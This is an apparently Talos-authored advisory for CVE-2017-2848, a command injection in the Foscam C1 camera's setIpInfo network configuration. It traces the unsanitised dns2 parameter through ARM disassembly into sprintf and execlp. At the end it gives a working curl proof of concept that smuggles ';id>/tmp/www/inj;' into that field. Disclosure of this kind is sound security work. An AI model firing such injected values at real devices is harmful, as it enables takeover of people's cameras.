CVE-2017-2848
An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary shell characters during manual network configuration resulting in command injection. An attacker can simply send an HTTP request to the device to trigger this vulnerability.
Foscam, Inc. Indoor IP Camera C1 Series System Firmware Version: 1.9.3.17 Application Firmware Version: 2.52.2.37 Web Version: 2.0.1.1 Plug-In Version: 3.3.0.5
8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the ARM architecture. Foscam is considered one of the most common security cameras out on the current market.
When various services are started, a service will first register a callback using the CMsgClient::registerMsgHandle function [1]. This will register a function to be called [2] when another service dispatches a message of the specified code [3]. An example of this registration process is handled inside the FCGI_Init function of the “CGIProxy.fcgi” service using the following code:
.text:00009F20 FCGX_Init_1f20
.text:00009F20
.text:00009F20 F0 41 2D E9 STMFD SP!, {R4-R8,LR}
.text:00009F24 41 DE 4D E2 SUB SP, SP, #0x410
.text:00009F28 08 D0 4D E2 SUB SP, SP, #8
.text:00009F2C 05 FC FF EB BL FCGX_Init
.text:00009F2C
.text:00009F30 00 10 50 E2 SUBS R1, R0, #0
.text:00009F34 44 01 9F 15 LDRNE R0, =str.FCGX_Initfailed
.text:00009F38 05 00 00 1A BNE leave_exit_1f54
.text:00009F3C
.text:00009F3C 40 01 9F E5 LDR R0, =gv_theRequest_10b74
.text:00009F40 01 20 A0 E1 MOV R2, R1
.text:00009F44 1A FC FF EB BL FCGX_InitRequest
.text:00009F48
.text:00009F48 00 00 50 E3 CMP R0, #0
.text:00009F4C 03 00 00 0A BEQ loc_9F60
...
.text:00009F60 loc_9F60
.text:00009F60 DB FE FF EB BL registerMsgClients_1ad4
.text:00009AD4 registerMsgClients_1ad4
.text:00009AD4 10 40 2D E9 STMFD SP!, {R4,LR}
.text:00009AD4
.text:00009AD8 30 40 9F E5 LDR R4, =gp_cMsgClient_bac8
.text:00009ADC 30 10 9F E5 LDR R1, =0x40004001 ; [3] code
.text:00009AE0 04 00 A0 E1 MOV R0, R4
.text:00009AE4 2C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38 ; [2] callback function
.text:00009AE8 3D FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int)) ; [1]
.text:00009AE8
.text:00009AEC 04 00 A0 E1 MOV R0, R4
.text:00009AF0 24 10 9F E5 LDR R1, =0x3001
.text:00009AF4 1C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38
.text:00009AF8 39 FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
.text:00009AF8
.text:00009AFC 04 00 A0 E1 MOV R0, R4
.text:00009B00 18 10 9F E5 LDR R1, =0x3002
.text:00009B04 0C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38
.text:00009B08 10 40 BD E8 LDMFD SP!, {R4,LR}
.text:00009B0C 34 FD FF EA B CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
After the “CGIProxy.fcgi” service decodes an HTTP request that’s forwarded from the HTTP daemon, the service will copy the decoded query into a buffer on the stack [4]. Once this is done, the buffer will then be used to pass the decoded query to CMsgClient::sendMsg. This will dispatch the query to the shared messaging subsystem using the code 0x4001 at [5]. At this point, the service that handles the specified code will be woken up to handle the specified request.
.text:00009FA8 14 70 8D E2 ADD R7, SP, #0x430+lv_dest_41c
.text:00009FAC 08 10 A0 E1 MOV R1, R8
.text:00009FB0 07 00 A0 E1 MOV R0, R7
.text:00009FB4 34 FC FF EB BL strcpy ; [4]
.text:00009FB8
.text:00009FB8 08 00 A0 E1 MOV R0, R8
.text:00009FBC C0 FB FF EB BL strlen
.text:00009FC0
.text:00009FC0 CC 30 9F E5 LDR R3, =0x404
.text:00009FC4 00 30 8D E5 STR R3, [SP]
.text:00009FC8 C8 10 9F E5 LDR R1, =0x4001 ; [5]
.text:00009FCC 07 30 A0 E1 MOV R3, R7 ; uri request
.text:00009FD0 01 20 A0 E3 MOV R2, #1
.text:00009FD4 04 40 8D E5 STR R4, [SP,#4]
.text:00009FD8 08 40 8D E5 STR R4, [SP,#8]
.text:00009FDC 0C 40 8D E5 STR R4, [SP,#12]
.text:00009FE0 14 04 8D E5 STR R0, [SP,#0x430+var_1C]
.text:00009FE4 B0 00 9F E5 LDR R0, =gp_cMsgClient_bac8
.text:00009FE8 CD FB FF EB BL CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)
The handler for code 0x4001 is in the “webService” binary and is done by the function executeCGICmd at address 0x1e5a4. At the beginning of this function, the service will call a function [6] that’s responsible for extracting the user name, password, and command that was specified within the user’s query. Once the parameters have been extracted and copied into a local buffer on the stack, the command will be passed to the function call at [7] in order to determine the correct command function which is stored to funcptr. If authentication is not required for the command, then the branch at [8] will execute the function pointer returned by findJsonCallbackCommand at [7]. If authentication is required from the command, then the user name and password will be checked via strcmp and then the function call at [9] will execute the function pointer.
.text:0001E5A4 executeCGICmd
.text:0001E5A4
.text:0001E5A4 F0 41 2D E9 STMFD SP!, {R4-R8,LR}
.text:0001E5A8 28 60 80 E2 ADD R6, R0, #0x28
.text:0001E5AC 11 DD 4D E2 SUB SP, SP, #0x440
.text:0001E5B0 00 80 A0 E1 MOV R8, R0
.text:0001E5B4 06 10 A0 E1 MOV R1, R6
.text:0001E5B8 C4 00 9F E5 LDR R0, =unk_D5A68
.text:0001E5BC 3A 2A 00 EB BL sub_28EAC ; [6]
.text:00028EAC sub_28EAC
.text:00028EAC
.text:00028EAC F0 47 2D E9 STMFD SP!, {R4-R10,LR}
.text:00028EB0 00 40 51 E2 SUBS R4, R1, #0
.text:00028EB4 00 80 A0 E1 MOV R8, R0
.text:00028EB8 46 DF 4D E2 SUB SP, SP, #0x118
.text:00028EBC 00 00 E0 03 MOVEQ R0, #0xFFFFFFFF
.text:00028EC0 8B 00 00 0A BEQ leaving_290F4
...
.text:00028F4C 00 00 50 E3 CMP R0, #0
.text:00028F50 0C 00 00 1A BNE findCmdCallback_28F88
...
.text:00028F88 findCmdCallback_28F88
.text:00028F88 05 00 A0 E1 MOV R0, R5
.text:00028F8C 45 1F 8D E2 ADD R1, SP, #0x138+lp_funcptr?_24
.text:00028F90 89 FC FF EB BL findJsonCallbackCommand_281BC ; [7]
.text:00028F94 00 90 50 E2 SUBS R9, R0, #0
.text:00028F98 06 00 00 0A BEQ checkIfAuthNeeded_28FB8
...
.text:00028FB8 checkIfAuthNeeded_28FB8
.text:00028FB8 14 31 9D E5 LDR R3, [SP,#0x138+lp_funcptr?_24]
.text:00028FBC 54 21 9F E5 LDR R2, =0xFFFF
.text:00028FC0 08 10 93 E5 LDR R1, [R3,#8]
.text:00028FC4 02 00 51 E1 CMP R1, R2
.text:00028FC8 06 00 00 1A BNE authenticate_28FE8
...
.text:00028FD8 04 00 A0 E1 MOV R0, R4
.text:00028FDC 33 FF 2F E1 BLX R3 ; [8]
.text:00028FE0 09 00 A0 E1 MOV R0, R9
.text:00028FE4 42 00 00 EA B leaving_290F4
...
.text:000290E0 04 00 A0 E1 MOV R0, R4
.text:000290E4 33 FF 2F E1 BLX R3 ; [9]
.text:000290E8 05 00 A0 E1 MOV R0, R5
.text:000290EC 00 00 00 EA B leaving_290F4
...
.text:000290F4 46 DF 8D E2 ADD SP, SP, #0x118
.text:000290F8 F0 87 BD E8 LDMFD SP!, {R4-R10,PC}
When handling the “CGIProxy.fcgi” command “setIpInfo”, the function setIpInfo_37f30 will be called. This function is responsible for setting up the interface either via dhcp or by manually setting an IP address, netmask, gateway and dns. At the beginning of the function, the parameters [10] for “callbackJson”, “isDHCP”, “ip”, “gate”, “mask”, “dns1”, “dns2” are extracted from the query.
Afterwards, the “isDHCP” value [11] is checked against 0 and if it is, the the “ip” and “mask” parameter values are passed to the function sub_3FE28 [12] to be parsed using inet_addr: 0 is returned if parameters are correctly parsed, -1 otherwise. The return value is passed via IPC via code 0x3001 [13], which is handled by the binary “CGIProxy.fcgi” and takes care of returning the error code as result of the operation.
Regardless the “ip” and “mask” parameters were parsed correctly or not, the execution will continue and another message is sent with code 0x601d via IPC [14].
.text:0003FF30 setIpInfo_37f30
.text:0003FF30
.text:0003FF30 F0 40 2D E9 STMFD SP!, {R4-R7,LR}
...
.text:0003FF54 38 11 9F E5 LDR R1, =str.callbackJson
.text:0003FF58 BA A0 FF EB BL extract_param ; [10]
...
.text:0003FF60 30 11 9F E5 LDR R1, =str.isDHCP
...
.text:0003FF68 B6 A0 FF EB BL extract_param ; [10]
...
.text:0003FF7C 18 11 9F E5 LDR R1, =str.ip
...
.text:0003FF98 AA A0 FF EB BL extract_param ; [10]
...
.text:0003FFA0 F8 10 9F E5 LDR R1, =str.gate
...
.text:0003FFAC A5 A0 FF EB BL extract_param ; [10]
.text:0003FFB0 EC 10 9F E5 LDR R1, =str.mask
...
.text:0003FFBC A1 A0 FF EB BL extract_param ; [10]
.text:0003FFC0 E0 10 9F E5 LDR R1, =str.dns1
...
.text:0003FFCC 9D A0 FF EB BL extract_param ; [10]
...
.text:0003FFD4 D0 10 9F E5 LDR R1, =str.dns2
...
.text:0003FFDC 99 A0 FF EB BL extract_param ; [10]
.text:0003FFE0 1C 34 DD E5 LDRB R3, [SP,#0x4E0+var_C4] ; [11]
.text:0003FFE4 00 00 53 E3 CMP R3, #0
.text:0003FFE8 05 00 00 1A BNE loc_40004
.text:0003FFEC 07 00 A0 E1 MOV R0, R7 ; "ip" value
.text:0003FFF0 06 10 A0 E1 MOV R1, R6 ; "mask" value
.text:0003FFF4 8B FF FF EB BL sub_3FE28 ; [12]
.text:0003FFF8 00 00 50 E3 CMP R0, #0
.text:0003FFFC 00 20 E0 13 MOVNE R2, #0xFFFFFFFF
.text:00040000 00 00 00 1A BNE loc_40008
.text:00040004
.text:00040004 loc_40004
.text:00040004 00 20 A0 E3 MOV R2, #0
.text:00040008
.text:00040008 loc_40008
...
.text:00040034 7C 10 9F E5 LDR R1, =0x3001 ; [13]
...
.text:00040050 81 4A FF EB BL CMsgClient::sendMsg()
...
.text:00040068 54 10 9F E5 LDR R1, =0x601D ; [14]
...
.text:00040084 74 4A FF EB BL CMsgClient::sendMsg()
...
.text:00040090 F0 80 BD E8 LDMFD SP!, {R4-R7,PC}
Code 0x601d is handled in the “devMng” binary by the function OnDevMngMsgSetIpInfo_120ac. The function extracts “isDHCP”, ip”, “mask”, “gate”, “dns1” and “dns2” parameters from the IPC call and passes them to the function sub_3D880 [15].
This function checks a global variable for the state of the operation. In this first call, the branch is not taken and the function will only call sub_37ED8 [17], which saves all the parameters in “/mnt/mtd/app/config/NetworkConfig.bin”. Parameters are also saved in a global structure, to allow access from concurring threads.
If no errors are returned, OnDevMngMsgSetIpInfo_120ac will call sub_3AAE4 [19] by passing the pointer to a global structure [18]. The purpose of this function is to flag the completion of the interfaces configuration by putting “1” into the structure, at 0x8822c [20].
.text:0001A0AC OnDevMngMsgSetIpInfo_120ac
.text:0001A0AC
.text:0001A0AC 70 40 2D E9 STMFD SP!, {R4-R6,LR}
...
.text:0001A140 CE 8D 00 EB BL sub_3D880 ; [15]
.text:0003D880 sub_3D880
.text:0003D880
.text:0003D880 F0 45 2D E9 STMFD SP!, {R4-R8,R10,LR}
...
.text:0003D898 00 20 D2 E5 LDRB R2, [R2] ; [16]
.text:0003D89C 1A 00 00 0A BEQ loc_3D90C
.text:0003D8A0 00 00 52 E3 CMP R2, #0
...
.text:0003D8BC 05 10 A0 E1 MOV R1, R5
.text:0003D8C0 04 30 D1 E4 LDRB R3, [R1],#4
.text:0003D8C4 10 30 C4 E5 STRB R3, [R4,#0x10]
.text:0003D8C8 14 00 84 E2 ADD R0, R4, #0x14
.text:0003D8CC 9E 52 FF EB BL std::string::operator=(std::string const&)
.text:0003D8D0 08 10 85 E2 ADD R1, R5, #8
.text:0003D8D4 18 00 84 E2 ADD R0, R4, #0x18
.text:0003D8D8 9B 52 FF EB BL std::string::operator=(std::string const&)
.text:0003D8DC 0C 10 85 E2 ADD R1, R5, #0xC
.text:0003D8E0 1C 00 84 E2 ADD R0, R4, #0x1C
.text:0003D8E4 98 52 FF EB BL std::string::operator=(std::string const&)
.text:0003D8E8 10 10 85 E2 ADD R1, R5, #0x10
.text:0003D8EC 20 00 84 E2 ADD R0, R4, #0x20
.text:0003D8F0 95 52 FF EB BL std::string::operator=(std::string const&)
.text:0003D8F4 24 00 84 E2 ADD R0, R4, #0x24
.text:0003D8F8 14 10 85 E2 ADD R1, R5, #0x14
.text:0003D8FC 92 52 FF EB BL std::string::operator=(std::string const&)
.text:0003D900 10 00 84 E2 ADD R0, R4, #0x10
.text:0003D904 73 E9 FF EB BL sub_37ED8 ; [17]
...
.text:0003E078 F0 85 BD E8 LDMFD SP!, {R4-R8,R10,PC}
... OnDevMngMsgSetIpInfo_120ac
...
.text:0001A144 01 00 70 E3 CMN R0, #1
.text:0001A148 04 00 00 0A BEQ loc_1A160
.text:0001A14C 54 00 9F E5 LDR R0, =dword_85D88 ; [18]
...
.text:0001A15C 60 82 00 EB BL sub_3AAE4 ; [19]
.text:0003AAE4 sub_3AAE4
...
.text:0003AB08 00 40 A0 E1 MOV R4, R0
...
.text:0003ABCC 34 30 9F E5 LDR R3, =0x24A4
.text:0003ABD0 01 20 A0 E3 MOV R2, #1
.text:0003ABD4 03 20 C4 E7 STRB R2, [R4,R3] ; [20]
The application creates 13 threads in total at startup. One of them is continuously polling for network changes: sub_42DE0. Two functions are called in a loop: one for softAP configuration [21] and one for wifi and ethernet connections [22]. We will explore the latter.
.text:00042DE0 sub_42DE0
.text:00042DE0
.text:00042DE0 38 40 2D E9 STMFD SP!, {R3-R5,LR}
.text:00042DE4 00 40 A0 E1 MOV R4, R0
.text:00042DE8 06 50 A0 E3 MOV R5, #6
.text:00042DEC
.text:00042DEC loc_42DEC
.text:00042DEC 05 10 A0 E1 MOV R1, R5
.text:00042DF0 04 00 A0 E1 MOV R0, R4
.text:00042DF4 68 E6 FF EB BL sub_3C79C ; [21]
.text:00042DF8 00 10 A0 E1 MOV R1, R0
.text:00042DFC 04 00 A0 E1 MOV R0, R4
.text:00042E00 BE FE FF EB BL sub_42900 ; [22]
.text:00042E04 00 50 A0 E1 MOV R5, R0
.text:00042E08 04 00 9F E5 LDR R0, =0xF4240
.text:00042E0C 51 3D FF EB BL usleep
.text:00042E10 F5 FF FF EA B loc_42DEC ; loop
sub_42900 is the function that actually checks for the value of the global variable at 0x8822c [23]. As soon as its value is not 0, the function sub_428E0 is called.
.text:00042D4C 88 30 9F E5 LDR R3, =0x24A4
.text:00042D50 03 20 D4 E7 LDRB R2, [R4,R3] ; [23]
.text:00042D54 00 00 52 E3 CMP R2, #0
.text:00042D58 04 00 00 0A BEQ loc_42D70
.text:00042D5C 00 20 A0 E3 MOV R2, #0
.text:00042D60 03 20 C4 E7 STRB R2, [R4,R3]
.text:00042D64 04 00 A0 E1 MOV R0, R4
.text:00042D68 05 10 A0 E1 MOV R1, R5
.text:00042D6C DB FE FF EB BL sub_428E0
At this point the execution will continue with many different calls, from a higher level perspective the following is the path that will be taken, stripped to only interesting the stubs (capital names are user-controlled strings):
```
sub_428E0
sub_3FB2C
sub_3B94C
system("ifconfig eth0 0.0.0.0")
system("ifconfig ra0 up")
sub_3B8F0
sub_3A95C
system("rm -rf /var/run/wpa_supplicant")
system("ifconfig ra0 down")
system("killall wpa_supplicant")
sub_3B804
system("ifconfig ra0 up")
sub_4286C
sub_3E164
system("ifconfig ra0 0.0.0.0")
system("ifconfig ra0 down")
sub_3D880
system("killall udhcpc")
fork()
child: execlp("ifconfig", "ifconfig", "eth0", IP, "netmask", NETMASK)
fork()
child: execlp("sh", "sh", "-c", "route del default dev eth0")
fork()
child: execlp("sh", "sh", "-c", "route add default gw GATEWAY dev eth0")
fork()
child: execlp("sh", "sh", "-c", "echo nameserver DNS1 > /etc/resolv.conf")
fork()
child: execlp("sh", "sh", "-c", "echo nameserver DNS2 >> /etc/resolv.conf")
system("killall -9 OnvifAgent")
```
Function sub_3E164 fetches the parameters from a global structure and passes them to sub_3D880.
Function sub_3D880 was already called before, but this time the global state is different. The function thus takes a different branch and the actual interface configuration takes place. User-supplied parameters are taken unmodified from a global structure.
In this function the dns2 parameter [24] is never sanitized and used in a sprintf [25] call to build the final command that will be passed to execlp [26].
.text:0003DFEC 60 11 9F E5 LDR R1, =str.echonameservers2 ; "echo nameserver %s >> /etc/resolv.conf"
.text:0003DFF0 14 20 95 E5 LDR R2, [R5,#0x14] ; [24]
.text:0003DFF4 04 00 A0 E1 MOV R0, R4
.text:0003DFF8 4F 53 FF EB BL sprintf ; [25]
.text:0003DFFC 8D 53 FF EB BL fork
.text:0003E000 00 30 50 E2 SUBS R3, R0, #0
.text:0003E004 16 00 00 1A BNE loc_3E064
.text:0003E008 2C 01 9F E5 LDR R0, =str.sh ; "sh"
.text:0003E00C 00 30 8D E5 STR R3, [SP,#0xD8+var_D8]
.text:0003E010 00 10 A0 E1 MOV R1, R0
.text:0003E014 24 21 9F E5 LDR R2, =str._c ; "-c"
.text:0003E018 04 30 A0 E1 MOV R3, R4 ; [26]
.text:0003E01C B5 53 FF EB BL execlp
This vulnerability is reachable by the “setIpInfo” command and requires a valid user account with administrator privileges. The following proof of concept shows how to execute an arbitrary command.
```
$ sUsr="admin"
$ sPwd=""
$ sIP=192.168.0.20
$ sMask=255.255.255.0
$ sGW=192.168.0.1
$ sDns1=1.1.1.1
$ sDns2=2.2.2.2
$ sCmd=`perl -MURI::Escape -e 'print uri_escape(";id>/tmp/www/inj;")'`
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=guest&pwd=asd0--&cmd=setIpInfo&isDHCP=0&ip=${sIP}&mask=${sMask}&gate=${sGW}&dns1=${sDns1}&dns2=${sDns2}${sCmd}"
```
2017-05-30 - Vendor Disclosure
2017-06-19 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.